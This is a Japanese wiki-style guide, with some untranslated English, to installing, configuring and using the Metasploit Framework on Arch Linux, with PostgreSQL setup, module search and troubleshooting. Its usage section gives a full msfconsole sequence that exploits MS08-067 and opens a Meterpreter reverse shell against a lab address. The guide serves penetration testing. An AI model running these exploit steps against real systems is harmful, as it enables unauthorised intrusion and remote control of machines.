Metasploit Framework
公式サイト より:
- 今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
インストール
AUR から metasploitAUR をインストールしてください。
最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。
RVM
Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。
RVM#RVM のインストール と RVM#RVM を使う の記事に従って Ruby バージョン 2.1.5 をインストールしてデフォルトで使用するように設定してください。
設定が完了したら、新しく作成した RVM 環境を読み込みます:
$ source ~/.rvm/scripts/rvm
そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
$ gem install bundler $ bundle install
データベースの設定
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。
PostgreSQL の記事に従って msf
という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf
ということにします。
msfconsole
を起動して以下を入力:
msf > db_connect user@msf
user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
データベースキャッシュを再生成:
msf > db_rebuild_cache
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
現在 Metasploit では msfconsole
を起動するたびに db_connect
コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc
) に以下のエイリアスを追加してください:
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
quiet
オプションは起動時の ASCII バナーを無効化して、-x
コマンドは起動後すぐに指定されたコマンドを実行します。
.msf4
ディレクトリに database.yml
ファイルを作成する方法もあります。例:
~/.msf4/database.yml
production: adapter: postgresql database: msf username: ${USER} password: ${PASS} host: localhost port: 5432 pool: 5 timeout: 5
db_status
を実行してデータベースの接続が正しく確立していることを確認してください:
msf > db_status
[*] postgresql connected to msf
使用方法
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole
を利用する方法を説明します。
起動するには、msfconsole
と入力してください。プロンプトが msf >
に代わり、コマンドの入力を待機していることがわかります。
モジュールのタイプ
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
auxiliary
- ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。exploit
- 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。payload
- リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。post
- exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。encoder
- 暗号化を実行するためのプログラム。nop
- NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。
exploit の検索
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search
コマンドで利用可能な exploit を検索することができます。
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
msf > search platform:linux type:exploit name:Novell
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
検索フィールド | 説明 | 入力可能な値 | DB テーブル & カラム |
---|---|---|---|
app
|
Passive (client) あるいは Active (server) な exploit | client , server
|
module_details.stance
|
author
|
モジュールの作者の名前とメールアドレス | 何でも入力可能 | module_authors.name
|
type
|
モジュールのタイプ | auxiliary , exploit , payload , post , encoder , nop
|
module_details.mtype
|
name
|
パス (Name) と短い説明 | 何でも入力可能 | module_details.fullname , module_details.name
|
platform
|
対象ハードウェアあるいはソフトウェアプラットフォーム | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris
|
module_platforms.name
|
bid , cve , edb , osvdb , ref
|
Bugtraq, CVE, Exploit-DB, OSBDB ID など | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 | module_refs.name
|
(No field) | 上記の app と type を除く全て
|
何でも入力可能 | 上記の全て |
高度な検索方法は #データベースから検索 や #データベース検索のサンプル を見て下さい。
exploit を使う
適当な exploit を選択したら、ハッキングの時間です。
まず use
コマンドを使って exploit を選択:
msf > use exploit/windows/smb/ms08_067_netapi
モジュールの情報を表示するには、info
コマンドを使用:
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
何も引数を付けないで info
を実行すると、現在選択されているモジュールの情報が表示されます。
選択した exploit のオプションを確認するには、次を実行:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST
変数を指定する必要があります。変数に値を指定するには set
コマンドを使います:
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
そしてペイロードを選択:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show optons
を実行してください:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
LHOST
変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
では攻撃を開始してください:
msf exploit(ms08_067_netapi) > exploit
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。利用可能なコマンドは #Meterpreter を参照。
バグ
検索で正しくフィルタリングされない
現在 msfconsole
の search
コマンドでは複数のフィールドが指定されたときに正しく検索結果がフィルタリングされません。詳しくは バグレポート を見て下さい。
対処方法は #データベースから検索 を参照。
Tips and tricks
データベースから検索
Since everything in Metasploit is stored in a database, it's easy to make powerful search queries without the need of the search
frontend command.
To start the database interface, run:
$ psql msf
The information about modules is stored in 8 tables:
テーブル名 | 中身 |
---|---|
module_details
|
The "main" table, describes various details of each module |
module_actions
|
The action names of auxiliary modules |
module_archs
|
The target hardware architecture or software platform |
module_authors
|
Names and emails of module author |
module_mixins
|
Empty (???) |
module_platforms
|
The target operating system. See also #Popularity of a platform by number of exploits |
module_refs
|
References to various online exploit databases and reports |
module_targets
|
The target program name and version of the exploit |
Almost all tables have 3 columns: id
, detail_id
and name
, except for module_details
table which has 16 columns.
The detail_id
values are pointers to the rows of module_details
table.
To see the all the contents of a table, run:
SELECT * FROM table_name;
Multiple:
- Architecture
- Platform
- Target
Module options:
- module type
- stance
- privileged
- path
- name
- refname
- rank
- privileged
- disclosure date
データベース検索のサンプル
The module_details
table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
Show some information about available modules, include platform information from module_platforms
:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Show all client (aggressive) exploits for Windows platform:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
Show all exploits for Windows platform with rank >= 500 disclosed after 2013:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
exploit の数によるプラットフォームの人気度
To view the possible platform
values, and number of available exploits, run from psql
:
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
起動時の ASCII バナーを無効化
To disable the banner, run msfconsole
with -q
/--quiet
argument:
$ msfconsole --quiet
セッションが変わっても変数の値を維持する
If you don't want the variables to reset when selecting another module and when rerunning msfconsole
then set it globally via setg
, for example:
msf > setg RHOST 192.168.56.102
トラブルシューティング
VNC ビューアでクリックできない
If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the ViewOnly
variable to false. To fix this problem, re-run the exploit with the variable set to false
:
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
以下のようなエラーが表示される場合:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
This happens because the file robots.rb
has incorrect permissions and can be read only by the root user (see the bug report):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
To fix this, simply change the permission to be world-readable:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect が何もエラーを表示しないで失敗する
If upon running db_connect
you see no output, but later getting a message like this:
[!] Database not connected or cache not built, using slow search
that probably means that the postgresql
service is not running.